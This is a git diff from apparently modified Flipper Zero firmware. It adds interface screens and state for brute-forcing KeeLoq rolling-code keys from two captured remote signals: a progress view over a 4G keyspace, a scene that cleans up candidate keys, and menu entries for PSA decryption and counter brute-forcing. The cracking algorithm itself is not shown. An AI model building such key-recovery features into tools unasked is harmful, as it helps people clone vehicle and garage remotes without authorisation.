if(ctx->bf_count == 0) {
furi_string_set_str(msg, "No BF candidate keys\nfound for this serial.");
} else if(ctx->bf_count == 1) {
furi_string_set_str(msg, "Only 1 BF key exists.\nNothing to clean up.");
} else if(ctx->valid_count == 1) {
size_t deleted = 0;
for(int i = (int)ctx->bf_count - 1; i >= 0; i--) {
if(ctx->bf_indices[i] != ctx->valid_indices[0]) {
subghz_keeloq_keys_delete(subghz->keeloq_keys_manager, ctx->bf_indices[i]);
deleted++;
}
}
subghz_keeloq_keys_save(subghz->keeloq_keys_manager);
furi_string_printf(msg,
"Cleaned %u keys.\nKept valid key:\n%s",
deleted, bf_name);
} else if(ctx->valid_count == 0) {
furi_string_printf(msg,
"%u BF keys found\nbut none validates\nhop. Kept all.",
ctx->bf_count);
} else {
furi_string_printf(msg,
"%u BF keys, %u valid.\nCannot auto-select.\nKept all.",
ctx->bf_count, ctx->valid_count);
}
widget_add_text_scroll_element(subghz->widget, 0, 0, 128, 64, furi_string_get_cstr(msg));
furi_string_free(msg);
view_dispatcher_switch_to_view(subghz->view_dispatcher, SubGhzViewIdWidget);
}
bool subghz_scene_kl_bf_cleanup_on_event(void* context, SceneManagerEvent event) {
UNUSED(context);
UNUSED(event);
return false;
}
void subghz_scene_kl_bf_cleanup_on_exit(void* context) {
SubGhz* subghz = context;
KlCleanupCtx* ctx = (KlCleanupCtx*)(uintptr_t)scene_manager_get_scene_state(
subghz->scene_manager, SubGhzSceneKlBfCleanup);
if(ctx) {
free(ctx);
scene_manager_set_scene_state(subghz->scene_manager, SubGhzSceneKlBfCleanup, 0);
}
widget_reset(subghz->widget);
}

View File

@@ -45,25 +45,24 @@ bool subghz_scene_need_saving_on_event(void* context, SceneManagerEvent event) {
subghz_rx_key_state_set(subghz, SubGhzRxKeyStateBack);
scene_manager_previous_scene(subghz->scene_manager);
return true;
} else if(event.event == SubGhzCustomEventSceneExit) {
} else if(event.event == SubGhzCustomEventSceneExit) {
SubGhzRxKeyState state = subghz_rx_key_state_get(subghz);
subghz_rx_key_state_set(subghz, SubGhzRxKeyStateIDLE);
if(state == SubGhzRxKeyStateExit) {
if(scene_manager_has_previous_scene(subghz->scene_manager, SubGhzSceneReadRAW)) {
if(!furi_string_empty(subghz->file_path_tmp)) {
subghz_delete_file(subghz);
}
}
subghz_txrx_set_preset(
subghz->txrx, "AM650", subghz->last_settings->frequency, NULL, 0);
scene_manager_search_and_switch_to_previous_scene(
subghz->scene_manager, SubGhzSceneStart);
if(!scene_manager_search_and_switch_to_previous_scene(
subghz->scene_manager, SubGhzSceneStart)) {
scene_manager_previous_scene(subghz->scene_manager);
}
} else {
scene_manager_previous_scene(subghz->scene_manager);
}
return true;
}
}

View File

@@ -133,21 +133,21 @@ bool subghz_scene_receiver_info_on_event(void* context, SceneManagerEvent event)
}
//CC1101 Stop RX -> Start TX
subghz_txrx_hopper_pause(subghz->txrx);
// key concept: we start endless TX until user release OK button, and after this we send last
// protocols repeats - this guarantee that one press OK will
// be guarantee send the required minimum protocol data packets
// for all of this we use subghz_block_generic_global.endless_tx in protocols _yield function.
subghz->state_notifications = SubGhzNotificationStateTx;
subghz_block_generic_global.endless_tx = true;
if(!subghz_tx_start(
subghz,
subghz_history_get_raw_data(subghz->history, subghz->idx_menu_chosen))) {
subghz_txrx_rx_start(subghz->txrx);
subghz_txrx_hopper_unpause(subghz->txrx);
subghz->state_notifications = SubGhzNotificationStateRx;
} else {
// key concept: we start endless TX until user release OK button, and after this we send last
// protocols repeats - this guarantee that one press OK will
// be guarantee send the required minimum protocol data packets
// for all of this we use subghz_block_generic_global.endless_tx in protocols _yield function.
subghz->state_notifications = SubGhzNotificationStateTx;
subghz_block_generic_global.endless_tx = true;
subghz_block_generic_global.endless_tx = false;
return true;
}
return true;
} else if(event.event == SubGhzCustomEventSceneReceiverInfoTxStop) {
//CC1101 Stop Tx -> next tick event Start RX
// user release OK

View File

@@ -2,10 +2,10 @@
enum SubmenuIndex {
SubmenuIndexEmulate,
SubmenuIndexPsaDecrypt,
SubmenuIndexEdit,
SubmenuIndexDelete,
SubmenuIndexSignalSettings,
SubmenuIndexPsaDecrypt,
SubmenuIndexCounterBf
};
@@ -17,7 +17,6 @@ void subghz_scene_saved_menu_submenu_callback(void* context, uint32_t index) {
void subghz_scene_saved_menu_on_enter(void* context) {
SubGhz* subghz = context;
// Check protocol type for conditional menu items
FlipperFormat* fff = subghz_txrx_get_fff_data(subghz->txrx);
bool is_psa_encrypted = false;
bool has_counter = false;
@@ -26,7 +25,6 @@ void subghz_scene_saved_menu_on_enter(void* context) {
flipper_format_rewind(fff);
if(flipper_format_read_string(fff, "Protocol", proto)) {
if(furi_string_equal_str(proto, "PSA GROUP")) {
// Check if Type field is missing or zero (not yet decrypted)
FuriString* type_str = furi_string_alloc();
flipper_format_rewind(fff);
if(!flipper_format_read_string(fff, "Type", type_str) ||
@@ -39,7 +37,6 @@ void subghz_scene_saved_menu_on_enter(void* context) {
furi_string_free(proto);
}
// Check if protocol has a Cnt field (supports counter bruteforce)
if(fff) {
uint32_t cnt_tmp = 0;
flipper_format_rewind(fff);
@@ -48,12 +45,23 @@ void subghz_scene_saved_menu_on_enter(void* context) {
}
}
submenu_add_item(
subghz->submenu,
"Emulate",
SubmenuIndexEmulate,
subghz_scene_saved_menu_submenu_callback,
subghz);
if(!is_psa_encrypted) {
submenu_add_item(
subghz->submenu,
"Emulate",
SubmenuIndexEmulate,
subghz_scene_saved_menu_submenu_callback,
subghz);
}
if(is_psa_encrypted) {
submenu_add_item(
subghz->submenu,
"PSA Decrypt",
SubmenuIndexPsaDecrypt,
subghz_scene_saved_menu_submenu_callback,
subghz);
}
submenu_add_item(
subghz->submenu,
@@ -76,15 +84,8 @@ void subghz_scene_saved_menu_on_enter(void* context) {
SubmenuIndexSignalSettings,
subghz_scene_saved_menu_submenu_callback,
subghz);
};
if(is_psa_encrypted) {
submenu_add_item(
subghz->submenu,
"PSA Decrypt",
SubmenuIndexPsaDecrypt,
subghz_scene_saved_menu_submenu_callback,
subghz);
}
if(has_counter) {
submenu_add_item(
subghz->submenu,
@@ -110,6 +111,11 @@ bool subghz_scene_saved_menu_on_event(void* context, SceneManagerEvent event) {
subghz->scene_manager, SubGhzSceneSavedMenu, SubmenuIndexEmulate);
scene_manager_next_scene(subghz->scene_manager, SubGhzSceneTransmitter);
return true;
} else if(event.event == SubmenuIndexPsaDecrypt) {
scene_manager_set_scene_state(
subghz->scene_manager, SubGhzSceneSavedMenu, SubmenuIndexPsaDecrypt);
scene_manager_next_scene(subghz->scene_manager, SubGhzScenePsaDecrypt);
return true;
} else if(event.event == SubmenuIndexDelete) {
scene_manager_set_scene_state(
subghz->scene_manager, SubGhzSceneSavedMenu, SubmenuIndexDelete);
@@ -125,11 +131,6 @@ bool subghz_scene_saved_menu_on_event(void* context, SceneManagerEvent event) {
subghz->scene_manager, SubGhzSceneSavedMenu, SubmenuIndexSignalSettings);
scene_manager_next_scene(subghz->scene_manager, SubGhzSceneSignalSettings);
return true;
} else if(event.event == SubmenuIndexPsaDecrypt) {
scene_manager_set_scene_state(
subghz->scene_manager, SubGhzSceneSavedMenu, SubmenuIndexPsaDecrypt);
scene_manager_next_scene(subghz->scene_manager, SubGhzScenePsaDecrypt);
return true;
} else if(event.event == SubmenuIndexCounterBf) {
scene_manager_set_scene_state(
subghz->scene_manager, SubGhzSceneSavedMenu, SubmenuIndexCounterBf);

View File

@@ -55,6 +55,12 @@ void subghz_scene_start_on_enter(void* context) {
SubmenuIndexKeeloqKeys,
subghz_scene_start_submenu_callback,
subghz);
submenu_add_item(
subghz->submenu,
"KeeLoq BF (2 Signals)",
SubmenuIndexKeeloqBf2,
subghz_scene_start_submenu_callback,
subghz);
submenu_set_selected_item(
subghz->submenu, scene_manager_get_scene_state(subghz->scene_manager, SubGhzSceneStart));
@@ -112,6 +118,11 @@ bool subghz_scene_start_on_event(void* context, SceneManagerEvent event) {
subghz->scene_manager, SubGhzSceneStart, SubmenuIndexKeeloqKeys);
scene_manager_next_scene(subghz->scene_manager, SubGhzSceneKeeloqKeys);
return true;
} else if(event.event == SubmenuIndexKeeloqBf2) {
scene_manager_set_scene_state(
subghz->scene_manager, SubGhzSceneStart, SubmenuIndexKeeloqBf2);
scene_manager_next_scene(subghz->scene_manager, SubGhzSceneKeeloqBf2);
return true;
}
}
return false;

View File

@@ -10,4 +10,5 @@ enum SubmenuIndex {
SubmenuIndexProtocolList,
SubmenuIndexRadioSetting,
SubmenuIndexKeeloqKeys,
SubmenuIndexKeeloqBf2,
};

View File

@@ -95,6 +95,11 @@ SubGhz* subghz_alloc(bool alloc_for_tx_only) {
subghz->keeloq_keys_manager = NULL;
subghz->keeloq_bf2.sig1_loaded = false;
subghz->keeloq_bf2.sig2_loaded = false;
subghz->keeloq_bf2.sig1_path = furi_string_alloc();
subghz->keeloq_bf2.sig2_path = furi_string_alloc();
subghz->file_path = furi_string_alloc();
subghz->file_path_tmp = furi_string_alloc();
@@ -195,6 +200,12 @@ SubGhz* subghz_alloc(bool alloc_for_tx_only) {
SubGhzViewIdPsaDecrypt,
subghz_view_psa_decrypt_get_view(subghz->subghz_psa_decrypt));
subghz->subghz_keeloq_decrypt = subghz_view_keeloq_decrypt_alloc();
view_dispatcher_add_view(
subghz->view_dispatcher,
SubGhzViewIdKeeloqDecrypt,
subghz_view_keeloq_decrypt_get_view(subghz->subghz_keeloq_decrypt));
//init threshold rssi
subghz->threshold_rssi = subghz_threshold_rssi_alloc();
@@ -306,6 +317,10 @@ void subghz_free(SubGhz* subghz, bool alloc_for_tx_only) {
view_dispatcher_remove_view(subghz->view_dispatcher, SubGhzViewIdPsaDecrypt);
subghz_view_psa_decrypt_free(subghz->subghz_psa_decrypt);
// KeeLoq Decrypt
view_dispatcher_remove_view(subghz->view_dispatcher, SubGhzViewIdKeeloqDecrypt);
subghz_view_keeloq_decrypt_free(subghz->subghz_keeloq_decrypt);
// Read RAW
view_dispatcher_remove_view(subghz->view_dispatcher, SubGhzViewIdReadRAW);
subghz_read_raw_free(subghz->subghz_read_raw);
@@ -353,7 +368,9 @@ void subghz_free(SubGhz* subghz, bool alloc_for_tx_only) {
furi_string_free(subghz->file_path);
furi_string_free(subghz->file_path_tmp);
// KeeLoq key manager (may still be live if app exited from within the edit scene)
furi_string_free(subghz->keeloq_bf2.sig1_path);
furi_string_free(subghz->keeloq_bf2.sig2_path);
if(subghz->keeloq_keys_manager) {
subghz_keeloq_keys_free(subghz->keeloq_keys_manager);
subghz->keeloq_keys_manager = NULL;
@@ -386,6 +403,7 @@ int32_t subghz_app(void* p) {
subghz->view_dispatcher, subghz->gui, ViewDispatcherTypeFullscreen);
furi_string_set(subghz->file_path, SUBGHZ_APP_FOLDER);
if(subghz_txrx_is_database_loaded(subghz->txrx)) {
scene_manager_next_scene(subghz->scene_manager, SubGhzSceneStart);
scene_manager_next_scene(subghz->scene_manager, SubGhzSceneReceiver);
} else {
scene_manager_set_scene_state(

View File

@@ -9,6 +9,7 @@
#include "views/subghz_frequency_analyzer.h"
#include "views/subghz_read_raw.h"
#include "views/subghz_psa_decrypt.h"
#include "views/subghz_keeloq_decrypt.h"
#include <gui/gui.h>
#include <assets_icons.h>
@@ -74,6 +75,7 @@ struct SubGhz {
SubGhzFrequencyAnalyzer* subghz_frequency_analyzer;
SubGhzReadRAW* subghz_read_raw;
SubGhzViewPsaDecrypt* subghz_psa_decrypt;
SubGhzViewKeeloqDecrypt* subghz_keeloq_decrypt;
bool raw_send_only;
bool save_datetime_set;
@@ -102,13 +104,25 @@ struct SubGhz {
// KeeLoq key management
SubGhzKeeloqKeysManager* keeloq_keys_manager;
struct {
uint8_t key_bytes[8]; // ByteInput result
char name[65]; // TextInput result
uint16_t type; // selected learning type 1..8
bool is_new; // true = add, false = edit
size_t edit_index; // valid when is_new == false
uint8_t edit_step; // 0 = key, 1 = name, 2 = type
uint8_t key_bytes[8];
char name[65];
uint16_t type;
bool is_new;
size_t edit_index;
uint8_t edit_step;
} keeloq_edit;
struct {
uint32_t fix;
uint32_t hop1;
uint32_t hop2;
uint32_t serial;
bool sig1_loaded;
bool sig2_loaded;
FuriString* sig1_path;
FuriString* sig2_path;
uint8_t learn_type;
} keeloq_bf2;
};
void subghz_blink_start(SubGhz* subghz);

View File

@@ -0,0 +1,246 @@
#include "subghz_keeloq_decrypt.h"
#include <gui/elements.h>
#include <furi.h>
#define KL_TOTAL_KEYS 0x100000000ULL
struct SubGhzViewKeeloqDecrypt {
View* view;
SubGhzViewKeeloqDecryptCallback callback;
void* context;
};
typedef struct {
uint8_t progress;
uint32_t keys_tested;
uint32_t keys_per_sec;
uint32_t elapsed_sec;
uint32_t eta_sec;
bool done;
bool success;
uint32_t candidates;
FuriString* result_str;
char status_line[40];
} SubGhzKeeloqDecryptModel;
static void subghz_view_keeloq_decrypt_format_count(char* buf, size_t len, uint32_t count) {
if(count >= 1000000) {
snprintf(buf, len, "%lu.%luM", count / 1000000, (count % 1000000) / 100000);
} else if(count >= 1000) {
snprintf(buf, len, "%luK", count / 1000);
} else {
snprintf(buf, len, "%lu", count);
}
}
static void subghz_view_keeloq_decrypt_draw(Canvas* canvas, void* _model) {
SubGhzKeeloqDecryptModel* model = (SubGhzKeeloqDecryptModel*)_model;
canvas_clear(canvas);
if(!model->done) {
canvas_set_font(canvas, FontPrimary);
if(model->status_line[0]) {
canvas_draw_str_aligned(canvas, 64, 2, AlignCenter, AlignTop, model->status_line);
} else {
canvas_draw_str_aligned(canvas, 64, 2, AlignCenter, AlignTop, "KeeLoq BF");
}
canvas_draw_rframe(canvas, 3, 15, 122, 12, 2);
uint8_t fill = (uint8_t)((uint16_t)model->progress * 116 / 100);
if(fill > 0) {
canvas_draw_rbox(canvas, 5, 17, fill, 8, 1);
}
canvas_set_font(canvas, FontSecondary);
char keys_str[32];
char tested_buf[12];
subghz_view_keeloq_decrypt_format_count(tested_buf, sizeof(tested_buf), model->keys_tested);
snprintf(keys_str, sizeof(keys_str), "%d%% - %s / 4G keys", model->progress, tested_buf);
canvas_draw_str(canvas, 2, 38, keys_str);
char speed_str[40];
char speed_buf[12];
subghz_view_keeloq_decrypt_format_count(speed_buf, sizeof(speed_buf), model->keys_per_sec);
uint32_t eta_m = model->eta_sec / 60;
uint32_t eta_s = model->eta_sec % 60;
if(eta_m > 0) {
snprintf(speed_str, sizeof(speed_str), "%s keys/sec ETA %lum %lus", speed_buf, eta_m, eta_s);
} else {
snprintf(speed_str, sizeof(speed_str), "%s keys/sec ETA %lus", speed_buf, eta_s);
}
canvas_draw_str(canvas, 2, 48, speed_str);
if(model->candidates > 0) {
char cand_str[32];
snprintf(cand_str, sizeof(cand_str), "Candidates: %lu", model->candidates);
canvas_draw_str(canvas, 2, 58, cand_str);
} else {
char elapsed_str[24];
uint32_t el_m = model->elapsed_sec / 60;
uint32_t el_s = model->elapsed_sec % 60;
if(el_m > 0) {
snprintf(elapsed_str, sizeof(elapsed_str), "Elapsed: %lum %lus", el_m, el_s);
} else {
snprintf(elapsed_str, sizeof(elapsed_str), "Elapsed: %lus", el_s);
}
canvas_draw_str(canvas, 2, 58, elapsed_str);
}
canvas_draw_str_aligned(canvas, 126, 64, AlignRight, AlignBottom, "Hold BACK");
} else {
canvas_set_font(canvas, FontSecondary);
if(model->result_str) {
elements_multiline_text_aligned(
canvas, 0, 0, AlignLeft, AlignTop, furi_string_get_cstr(model->result_str));
}
}
}
static bool subghz_view_keeloq_decrypt_input(InputEvent* event, void* context) {
SubGhzViewKeeloqDecrypt* instance = (SubGhzViewKeeloqDecrypt*)context;
if(event->key == InputKeyBack) {
if(instance->callback) {
instance->callback(SubGhzCustomEventViewTransmitterBack, instance->context);
}
return true;
}
return false;
}
SubGhzViewKeeloqDecrypt* subghz_view_keeloq_decrypt_alloc(void) {
SubGhzViewKeeloqDecrypt* instance = malloc(sizeof(SubGhzViewKeeloqDecrypt));
instance->view = view_alloc();
view_allocate_model(instance->view, ViewModelTypeLocking, sizeof(SubGhzKeeloqDecryptModel));
view_set_context(instance->view, instance);
view_set_draw_callback(instance->view, subghz_view_keeloq_decrypt_draw);
view_set_input_callback(instance->view, subghz_view_keeloq_decrypt_input);
with_view_model(
instance->view,
SubGhzKeeloqDecryptModel * model,
{
model->result_str = furi_string_alloc();
model->progress = 0;
model->keys_tested = 0;
model->keys_per_sec = 0;
model->elapsed_sec = 0;
model->eta_sec = 0;
model->done = false;
model->success = false;
model->candidates = 0;
},
false);
return instance;
}
void subghz_view_keeloq_decrypt_free(SubGhzViewKeeloqDecrypt* instance) {
furi_check(instance);
with_view_model(
instance->view,
SubGhzKeeloqDecryptModel * model,
{ furi_string_free(model->result_str); },
false);
view_free(instance->view);
free(instance);
}
View* subghz_view_keeloq_decrypt_get_view(SubGhzViewKeeloqDecrypt* instance) {
furi_check(instance);
return instance->view;
}
void subghz_view_keeloq_decrypt_set_callback(
SubGhzViewKeeloqDecrypt* instance,
SubGhzViewKeeloqDecryptCallback callback,
void* context) {
furi_check(instance);
instance->callback = callback;
instance->context = context;
}
void subghz_view_keeloq_decrypt_update_stats(
SubGhzViewKeeloqDecrypt* instance,
uint8_t progress,
uint32_t keys_tested,
uint32_t keys_per_sec,
uint32_t elapsed_sec,
uint32_t eta_sec) {
furi_check(instance);
with_view_model(
instance->view,
SubGhzKeeloqDecryptModel * model,
{
model->progress = progress;
model->keys_tested = keys_tested;
model->keys_per_sec = keys_per_sec;
model->elapsed_sec = elapsed_sec;
model->eta_sec = eta_sec;
},
true);
}
void subghz_view_keeloq_decrypt_set_result(
SubGhzViewKeeloqDecrypt* instance,
bool success,
const char* result) {
furi_check(instance);
with_view_model(
instance->view,
SubGhzKeeloqDecryptModel * model,
{
model->done = true;
model->success = success;
furi_string_set_str(model->result_str, result);
},
true);
}
void subghz_view_keeloq_decrypt_reset(SubGhzViewKeeloqDecrypt* instance) {
furi_check(instance);
with_view_model(
instance->view,
SubGhzKeeloqDecryptModel * model,
{
model->progress = 0;
model->keys_tested = 0;
model->keys_per_sec = 0;
model->elapsed_sec = 0;
model->eta_sec = 0;
model->done = false;
model->success = false;
model->candidates = 0;
furi_string_reset(model->result_str);
model->status_line[0] = '\0';
},
false);
}
void subghz_view_keeloq_decrypt_set_status(SubGhzViewKeeloqDecrypt* instance, const char* status) {
furi_check(instance);
with_view_model(
instance->view,
SubGhzKeeloqDecryptModel * model,
{
if(status) {
strlcpy(model->status_line, status, sizeof(model->status_line));
} else {
model->status_line[0] = '\0';
}
},
true);
}
void subghz_view_keeloq_decrypt_update_candidates(
SubGhzViewKeeloqDecrypt* instance, uint32_t count) {
furi_check(instance);
with_view_model(
instance->view,
SubGhzKeeloqDecryptModel * model,
{ model->candidates = count; },
true);
}

View File

@@ -0,0 +1,37 @@
#pragma once
#include <gui/view.h>
#include "../helpers/subghz_custom_event.h"
typedef struct SubGhzViewKeeloqDecrypt SubGhzViewKeeloqDecrypt;
typedef void (*SubGhzViewKeeloqDecryptCallback)(SubGhzCustomEvent event, void* context);
SubGhzViewKeeloqDecrypt* subghz_view_keeloq_decrypt_alloc(void);
void subghz_view_keeloq_decrypt_free(SubGhzViewKeeloqDecrypt* instance);
View* subghz_view_keeloq_decrypt_get_view(SubGhzViewKeeloqDecrypt* instance);
void subghz_view_keeloq_decrypt_set_callback(
SubGhzViewKeeloqDecrypt* instance,
SubGhzViewKeeloqDecryptCallback callback,
void* context);
void subghz_view_keeloq_decrypt_update_stats(
SubGhzViewKeeloqDecrypt* instance,
uint8_t progress,
uint32_t keys_tested,
uint32_t keys_per_sec,
uint32_t elapsed_sec,
uint32_t eta_sec);
void subghz_view_keeloq_decrypt_set_result(
SubGhzViewKeeloqDecrypt* instance,
bool success,
const char* result);
void subghz_view_keeloq_decrypt_reset(SubGhzViewKeeloqDecrypt* instance);
void subghz_view_keeloq_decrypt_set_status(SubGhzViewKeeloqDecrypt* instance, const char* status);
void subghz_view_keeloq_decrypt_update_candidates(
SubGhzViewKeeloqDecrypt* instance, uint32_t count);

View File

@@ -50,8 +50,10 @@ static void subghz_view_psa_decrypt_draw(Canvas* canvas, void* _model) {
// Progress bar outline + fill
canvas_draw_rframe(canvas, 3, 15, 122, 12, 2);
uint8_t fill = (uint8_t)((uint16_t)model->progress * 116 / 100);
if(fill > 0) {
if(fill > 2) {
canvas_draw_rbox(canvas, 5, 17, fill, 8, 1);
} else if(fill > 0) {
canvas_draw_box(canvas, 5, 17, fill, 8);
}
canvas_set_font(canvas, FontSecondary);
@@ -90,19 +92,23 @@ static void subghz_view_psa_decrypt_draw(Canvas* canvas, void* _model) {
// Cancel hint - bottom right
canvas_draw_str_aligned(canvas, 126, 64, AlignRight, AlignBottom, "Hold BACK");
} else {
// Result screen
canvas_set_font(canvas, FontSecondary);
if(model->result_str) {
elements_multiline_text_aligned(
canvas, 0, 0, AlignLeft, AlignTop, furi_string_get_cstr(model->result_str));
canvas_set_font(canvas, FontPrimary);
canvas_draw_str_aligned(canvas, 64, 4, AlignCenter, AlignTop, "Decrypted!");
if(model->result_str) {
canvas_set_font(canvas, FontSecondary);
elements_multiline_text_aligned(canvas, 64, 20, AlignCenter, AlignTop,
furi_string_get_cstr(model->result_str));
}
elements_button_center(canvas, "Ok");
}
}
static bool subghz_view_psa_decrypt_input(InputEvent* event, void* context) {
SubGhzViewPsaDecrypt* instance = (SubGhzViewPsaDecrypt*)context;
if(event->key == InputKeyBack) {
if(event->key == InputKeyBack || event->key == InputKeyOk) {
if(instance->callback) {
instance->callback(SubGhzCustomEventViewTransmitterBack, instance->context);
}

View File

@@ -0,0 +1 @@
*

View File

@@ -1,2 +0,0 @@
# Auto detect text files and perform LF normalization
* text=auto

View File

@@ -1,7 +0,0 @@
dist/*
.vscode
.clang-format
.clangd
.editorconfig
.env
.ufbt

View File

@@ -1,674 +0,0 @@
GNU GENERAL PUBLIC LICENSE
Version 3, 29 June 2007
Copyright (C) 2007 Free Software Foundation, Inc. <https://fsf.org/>
Everyone is permitted to copy and distribute verbatim copies
of this license document, but changing it is not allowed.
Preamble
The GNU General Public License is a free, copyleft license for
software and other kinds of works.
The licenses for most software and other practical works are designed
to take away your freedom to share and change the works. By contrast,
the GNU General Public License is intended to guarantee your freedom to
share and change all versions of a program--to make sure it remains free
software for all its users. We, the Free Software Foundation, use the
GNU General Public License for most of our software; it applies also to
any other work released this way by its authors. You can apply it to
your programs, too.
When we speak of free software, we are referring to freedom, not
price. Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
them if you wish), that you receive source code or can get it if you
want it, that you can change the software or use pieces of it in new
free programs, and that you know you can do these things.
To protect your rights, we need to prevent others from denying you
these rights or asking you to surrender the rights. Therefore, you have
certain responsibilities if you distribute copies of the software, or if
you modify it: responsibilities to respect the freedom of others.
For example, if you distribute copies of such a program, whether
gratis or for a fee, you must pass on to the recipients the same
freedoms that you received. You must make sure that they, too, receive
or can get the source code. And you must show them these terms so they
know their rights.
Developers that use the GNU GPL protect your rights with two steps:
(1) assert copyright on the software, and (2) offer you this License
giving you legal permission to copy, distribute and/or modify it.
For the developers' and authors' protection, the GPL clearly explains
that there is no warranty for this free software. For both users' and
authors' sake, the GPL requires that modified versions be marked as
changed, so that their problems will not be attributed erroneously to
authors of previous versions.
Some devices are designed to deny users access to install or run
modified versions of the software inside them, although the manufacturer
can do so. This is fundamentally incompatible with the aim of
protecting users' freedom to change the software. The systematic
pattern of such abuse occurs in the area of products for individuals to
use, which is precisely where it is most unacceptable. Therefore, we
have designed this version of the GPL to prohibit the practice for those
products. If such problems arise substantially in other domains, we
stand ready to extend this provision to those domains in future versions
of the GPL, as needed to protect the freedom of users.
Finally, every program is threatened constantly by software patents.
States should not allow patents to restrict development and use of
software on general-purpose computers, but in those that do, we wish to
avoid the special danger that patents applied to a free program could
make it effectively proprietary. To prevent this, the GPL assures that
patents cannot be used to render the program non-free.
The precise terms and conditions for copying, distribution and
modification follow.
TERMS AND CONDITIONS
0. Definitions.
"This License" refers to version 3 of the GNU General Public License.
"Copyright" also means copyright-like laws that apply to other kinds of
works, such as semiconductor masks.
"The Program" refers to any copyrightable work licensed under this
License. Each licensee is addressed as "you". "Licensees" and
"recipients" may be individuals or organizations.
To "modify" a work means to copy from or adapt all or part of the work
in a fashion requiring copyright permission, other than the making of an
exact copy. The resulting work is called a "modified version" of the
earlier work or a work "based on" the earlier work.
A "covered work" means either the unmodified Program or a work based
on the Program.
To "propagate" a work means to do anything with it that, without
permission, would make you directly or secondarily liable for
infringement under applicable copyright law, except executing it on a
computer or modifying a private copy. Propagation includes copying,
distribution (with or without modification), making available to the
public, and in some countries other activities as well.
To "convey" a work means any kind of propagation that enables other
parties to make or receive copies. Mere interaction with a user through
a computer network, with no transfer of a copy, is not conveying.
An interactive user interface displays "Appropriate Legal Notices"
to the extent that it includes a convenient and prominently visible
feature that (1) displays an appropriate copyright notice, and (2)
tells the user that there is no warranty for the work (except to the
extent that warranties are provided), that licensees may convey the
work under this License, and how to view a copy of this License. If
the interface presents a list of user commands or options, such as a
menu, a prominent item in the list meets this criterion.
1. Source Code.
The "source code" for a work means the preferred form of the work
for making modifications to it. "Object code" means any non-source
form of a work.
A "Standard Interface" means an interface that either is an official
standard defined by a recognized standards body, or, in the case of
interfaces specified for a particular programming language, one that
is widely used among developers working in that language.
The "System Libraries" of an executable work include anything, other
than the work as a whole, that (a) is included in the normal form of
packaging a Major Component, but which is not part of that Major
Component, and (b) serves only to enable use of the work with that
Major Component, or to implement a Standard Interface for which an
implementation is available to the public in source code form. A
"Major Component", in this context, means a major essential component
(kernel, window system, and so on) of the specific operating system
(if any) on which the executable work runs, or a compiler used to
produce the work, or an object code interpreter used to run it.
The "Corresponding Source" for a work in object code form means all
the source code needed to generate, install, and (for an executable
work) run the object code and to modify the work, including scripts to
control those activities. However, it does not include the work's
System Libraries, or general-purpose tools or generally available free
programs which are used unmodified in performing those activities but
which are not part of the work. For example, Corresponding Source
includes interface definition files associated with source files for
the work, and the source code for shared libraries and dynamically
linked subprograms that the work is specifically designed to require,
such as by intimate data communication or control flow between those
subprograms and other parts of the work.
The Corresponding Source need not include anything that users
can regenerate automatically from other parts of the Corresponding
Source.
The Corresponding Source for a work in source code form is that
same work.
2. Basic Permissions.
All rights granted under this License are granted for the term of
copyright on the Program, and are irrevocable provided the stated
conditions are met. This License explicitly affirms your unlimited
permission to run the unmodified Program. The output from running a
covered work is covered by this License only if the output, given its
content, constitutes a covered work. This License acknowledges your
rights of fair use or other equivalent, as provided by copyright law.
You may make, run and propagate covered works that you do not
convey, without conditions so long as your license otherwise remains
in force. You may convey covered works to others for the sole purpose
of having them make modifications exclusively for you, or provide you
with facilities for running those works, provided that you comply with
the terms of this License in conveying all material for which you do
not control copyright. Those thus making or running the covered works
for you must do so exclusively on your behalf, under your direction
and control, on terms that prohibit them from making any copies of
your copyrighted material outside their relationship with you.
Conveying under any other circumstances is permitted solely under
the conditions stated below. Sublicensing is not allowed; section 10
makes it unnecessary.
3. Protecting Users' Legal Rights From Anti-Circumvention Law.
No covered work shall be deemed part of an effective technological
measure under any applicable law fulfilling obligations under article
11 of the WIPO copyright treaty adopted on 20 December 1996, or
similar laws prohibiting or restricting circumvention of such
measures.
When you convey a covered work, you waive any legal power to forbid
circumvention of technological measures to the extent such circumvention
is effected by exercising rights under this License with respect to
the covered work, and you disclaim any intention to limit operation or
modification of the work as a means of enforcing, against the work's
users, your or third parties' legal rights to forbid circumvention of
technological measures.
4. Conveying Verbatim Copies.
You may convey verbatim copies of the Program's source code as you
receive it, in any medium, provided that you conspicuously and
appropriately publish on each copy an appropriate copyright notice;
keep intact all notices stating that this License and any
non-permissive terms added in accord with section 7 apply to the code;
keep intact all notices of the absence of any warranty; and give all
recipients a copy of this License along with the Program.
You may charge any price or no price for each copy that you convey,
and you may offer support or warranty protection for a fee.
5. Conveying Modified Source Versions.
You may convey a work based on the Program, or the modifications to
produce it from the Program, in the form of source code under the
terms of section 4, provided that you also meet all of these conditions:
a) The work must carry prominent notices stating that you modified
it, and giving a relevant date.
b) The work must carry prominent notices stating that it is
released under this License and any conditions added under section
7. This requirement modifies the requirement in section 4 to
"keep intact all notices".
c) You must license the entire work, as a whole, under this
License to anyone who comes into possession of a copy. This
License will therefore apply, along with any applicable section 7
additional terms, to the whole of the work, and all its parts,
regardless of how they are packaged. This License gives no
permission to license the work in any other way, but it does not
invalidate such permission if you have separately received it.
d) If the work has interactive user interfaces, each must display
Appropriate Legal Notices; however, if the Program has interactive
interfaces that do not display Appropriate Legal Notices, your
work need not make them do so.
A compilation of a covered work with other separate and independent
works, which are not by their nature extensions of the covered work,
and which are not combined with it such as to form a larger program,
in or on a volume of a storage or distribution medium, is called an
"aggregate" if the compilation and its resulting copyright are not
used to limit the access or legal rights of the compilation's users
beyond what the individual works permit. Inclusion of a covered work
in an aggregate does not cause this License to apply to the other
parts of the aggregate.
6. Conveying Non-Source Forms.
You may convey a covered work in object code form under the terms
of sections 4 and 5, provided that you also convey the
machine-readable Corresponding Source under the terms of this License,
in one of these ways:
a) Convey the object code in, or embodied in, a physical product
(including a physical distribution medium), accompanied by the
Corresponding Source fixed on a durable physical medium
customarily used for software interchange.
b) Convey the object code in, or embodied in, a physical product
(including a physical distribution medium), accompanied by a
written offer, valid for at least three years and valid for as
long as you offer spare parts or customer support for that product
model, to give anyone who possesses the object code either (1) a
copy of the Corresponding Source for all the software in the
product that is covered by this License, on a durable physical
medium customarily used for software interchange, for a price no
more than your reasonable cost of physically performing this
conveying of source, or (2) access to copy the
Corresponding Source from a network server at no charge.
c) Convey individual copies of the object code with a copy of the
written offer to provide the Corresponding Source. This
alternative is allowed only occasionally and noncommercially, and
